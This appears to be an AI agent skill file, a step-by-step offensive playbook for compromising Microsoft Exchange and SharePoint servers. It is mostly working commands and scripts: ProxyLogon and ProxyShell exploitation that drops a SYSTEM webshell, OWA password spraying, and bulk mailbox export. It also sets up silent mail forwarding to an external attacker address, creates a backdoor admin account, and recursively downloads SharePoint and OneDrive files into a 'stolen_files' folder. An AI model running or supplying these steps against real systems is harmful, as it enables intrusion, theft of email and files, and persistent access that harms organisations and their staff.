---
name: rt-exchange-sharepoint
description: "Microsoft Exchange and SharePoint exploitation skill for authorized engagements. Exchange Server privilege escalation (CVE-2021-26855 ProxyLogon, ProxyShell), OWA credential harvesting, Exchange SSRF chains, PowerShell Exchange abuse for email access, SharePoint SSRF and RCE, SharePoint sensitive data discovery, OneDrive enumeration via Graph API, and post-compromise email/file access. Use when Exchange or SharePoint servers are in scope."
---

# rt-exchange-sharepoint — Exchange & SharePoint Exploitation

## Overview

Exchange and SharePoint servers are high-value targets — they hold email, files, and often have privileged service accounts. On-premises Exchange has had critical RCE/SSRF vulnerabilities (ProxyLogon, ProxyShell) and SharePoint has frequent SSRF and deserialization issues.

---

## Phase 1 — Discovery & Enumeration

```bash
# Find Exchange servers
nmap -sV -p 25,443,587,993,995,8443 TARGET_RANGE
# 25 = SMTP, 443 = OWA/ECP/EWS/ActiveSync

# Exchange version fingerprinting
curl -s -k -I "https://EXCHANGE_IP/owa/" | grep -i "X-OWA-Version\|Server"

# Check exposed endpoints
for endpoint in "/owa/" "/ecp/" "/ews/" "/autodiscover/" "/mapi/" "/oab/" "/rpc/" "/Microsoft-Server-ActiveSync"; do
    code=$(curl -k -s -o /dev/null -w "%{http_code}" "https://EXCHANGE_IP$endpoint")
    echo "$code $endpoint"
done

# Find SharePoint
nmap -sV -p 80,443,8080 TARGET_RANGE
curl -k -I "https://SHAREPOINT_IP/_layouts/15/start.aspx#/"
# X-SharePointHealthScore header = SharePoint

# SharePoint version
curl -k "https://SHAREPOINT_IP/_vti_pvt/service.cnf"
curl -k "https://SHAREPOINT_IP/_vti_bin/sites.asmx"
```

---

## Phase 2 — ProxyLogon (CVE-2021-26855) — Exchange RCE

```bash
# ProxyLogon: SSRF → authentication bypass → RCE
# Affects: Exchange 2013/2016/2019 before March 2021 patches
# Still found in environments that haven't patched

# Check vulnerability
curl -k -s "https://EXCHANGE_IP/ecp/y.js" \
  -H "Cookie: X-BEResource=localhost~1942062522" | head -5
# "function" in response = PATCHED, error = VULNERABLE

# Exploit with publicly available PoC
git clone https://github.com/hausec/ProxyLogon
python3 proxylogon.py -t EXCHANGE_IP -e attacker@corp.com
# Drops webshell at: https://EXCHANGE_IP/owa/auth/shell.aspx

# Access webshell
curl -k "https://EXCHANGE_IP/owa/auth/shell.aspx?cmd=whoami"
# Output: NT AUTHORITY\SYSTEM
```

---

## Phase 3 — ProxyShell (CVE-2021-34473/34523/31207) — Exchange RCE

```bash
# ProxyShell: Three CVEs chained → unauthenticated RCE
# Affects: Exchange 2013/2016/2019 before July 2021 patches

# Check vulnerability
curl -k "https://EXCHANGE_IP/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com"
# 200 OK = potentially vulnerable

# Exploit
git clone https://github.com/dmaasland/proxyshell-poc
pip3 install requests
python3 proxyshell.py -u https://EXCHANGE_IP -e admin@corp.com

# Or: Metasploit
use exploit/windows/http/exchange_proxyshell_rce
set RHOSTS EXCHANGE_IP
set EMAIL admin@corp.com
run
# → SYSTEM shell on Exchange server
```

---

## Phase 4 — Exchange Post-Compromise

```powershell
# After RCE or with Exchange admin credentials

# Dump all mailboxes (Exchange admin PowerShell)
Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn
Get-Mailbox -ResultSize Unlimited | Export-Mailbox -DeliveryFormat EML -DeliveryPath C:\Temp\Mailboxes\

# Search all mailboxes for keywords
Search-Mailbox -SearchQuery "password OR credential OR secret" -SearchDumpsterOnly $false -ResultSize Unlimited -TargetMailbox "admin@corp.com" -TargetFolder "SearchResults"

# Access specific user's mailbox (as Exchange admin)
# Exchange Web Services (EWS)
$cred = Get-Credential
$exchangeUrl = "https://EXCHANGE_IP/EWS/Exchange.asmx"
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$service.Credentials = $cred
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress, "victim@corp.com")
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service, [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
$view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(50)
$inbox.FindItems($view) | Select-Object Subject, DateTimeReceived, From

# Forward all incoming email (persistence)
Set-Mailbox victim@corp.com -DeliverToMailboxAndForward $true -ForwardingSmtpAddress attacker@external.com
# All future emails silently forwarded to attacker

# Create new Exchange admin (persistence)
New-Mailbox -Name "IT Support" -Alias "itsupport" -UserPrincipalName "itsupport@corp.com" -Password (ConvertTo-SecureString "Password1!" -AsPlainText -Force)
Add-RoleGroupMember "Organization Management" -Member itsupport
```

---

## Phase 5 — OWA Credential Harvesting

```bash
# OWA (Outlook Web Access) — often internet-facing
# Password spray with domain credentials

# Spray OWA
python3 ruler.py --domain corp.com --users users.txt --password 'Summer2024!' spray --verbose
# github.com/sensepost/ruler

# Or with MailSniper
Import-Module MailSniper.ps1
Invoke-PasswordSprayOWA -ExchangeVersion Exchange2016 \
  -ExchHostname mail.corp.com \
  -UserList users.txt -Password 'Summer2024!'

# OWA GAL (Global Address List) enumeration — find all email addresses
Get-GlobalAddressList -AccessToken $token
# Returns all internal email addresses — useful for targeting
```

---

## Phase 6 — SharePoint Exploitation

```bash
# SharePoint SSRF (CVE-2019-0604 — old but still found)
curl -k "https://SHAREPOINT_IP/_layouts/15/Picker.aspx" \
  -d "__VIEWSTATE=&__EVENTVALIDATION=&__EVENTTARGET=&__EVENTARGUMENT=&ctl00%24PlaceHolderMain%24queryControl%24txtQuerySearch=&ctl00%24PlaceHolderMain%24btnSearch=Search"

# CVE-2020-0932 SharePoint RCE (deserialization)
# Requires low-priv authenticated user
python3 sharepoint_rce.py --url https://SHAREPOINT_IP --user user@corp.com --password Password1

# SharePoint sensitive file discovery
# Search for password files, config files
curl -k "https://SHAREPOINT_IP/sites/IT/_api/search/query?querytext='password+filetype:xlsx+OR+filetype:docx'" \
  -H "Accept: application/json"

# Download all files from SharePoint site
# Using SharePoint REST API
python3 << 'EOF'
import requests

base_url = "https://sharepoint.corp.com/sites/Internal"
session = requests.Session()
session.auth = ("user@corp.com", "Password1")

# Get all files in root
r = session.get(f"{base_url}/_api/web/GetFolderByServerRelativeUrl('/')/Files",
                headers={"Accept": "application/json"})
for file in r.json()['value']:
    print(file['Name'], file['ServerRelativeUrl'])
    # Download each file
    content = session.get(f"{base_url}/_api/web/GetFileByServerRelativeUrl('{file['ServerRelativeUrl']}')/$value")
    open(file['Name'], 'wb').write(content.content)
EOF
```

---

## Phase 7 — Microsoft Graph API (O365 SharePoint/OneDrive)

```bash
# After obtaining OAuth token (from device code phishing, consent grant, etc.)
# Access all M365 data via Graph API

# List all SharePoint sites
curl "https://graph.microsoft.com/v1.0/sites?search=*" \
  -H "Authorization: Bearer $TOKEN"

# Search SharePoint for sensitive keywords
curl "https://graph.microsoft.com/v1.0/search/query" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "requests": [{
      "entityTypes": ["driveItem"],
      "query": {"queryString": "password OR credentials OR secret"},
      "fields": ["name","webUrl","lastModifiedDateTime"]
    }]
  }'

# Download OneDrive files
# Get user's OneDrive root
curl "https://graph.microsoft.com/v1.0/users/victim@corp.com/drive/root/children" \
  -H "Authorization: Bearer $TOKEN"

# Download all files recursively
python3 << 'EOF'
import requests, os

token = "ACCESS_TOKEN"
headers = {"Authorization": f"Bearer {token}"}
base = "https://graph.microsoft.com/v1.0"

def download_folder(path, local_path):
    r = requests.get(f"{base}{path}/children", headers=headers)
    os.makedirs(local_path, exist_ok=True)
    for item in r.json().get('value', []):
        if 'folder' in item:
            download_folder(f"/drives/{item['parentReference']['driveId']}/items/{item['id']}", f"{local_path}/{item['name']}")
        else:
            content = requests.get(item['@microsoft.graph.downloadUrl'])
            open(f"{local_path}/{item['name']}", 'wb').write(content.content)
            print(f"Downloaded: {item['name']}")

download_folder("/users/victim@corp.com/drive/root", "./stolen_files")
EOF
```

---

## Skill Levels

**BEGINNER:** OWA password spray · SharePoint sensitive file discovery · Graph API email access

**INTERMEDIATE:** ProxyLogon/ProxyShell exploitation · EWS impersonation for mailbox access · SharePoint REST API enumeration

**ADVANCED:** Email forwarding persistence · Full mailbox export · CVE chaining for unauthenticated RCE

**EXPERT:** Exchange transport agent backdoor · SharePoint webpart backdoor · Hybrid Exchange → on-prem AD escalation

---

## References

- ProxyLogon: https://proxylogon.com
- ProxyShell: https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
- Ruler (Exchange): https://github.com/sensepost/ruler
- Graph API: https://docs.microsoft.com/en-us/graph/overview
- MITRE T1114: https://attack.mitre.org/techniques/T1114/
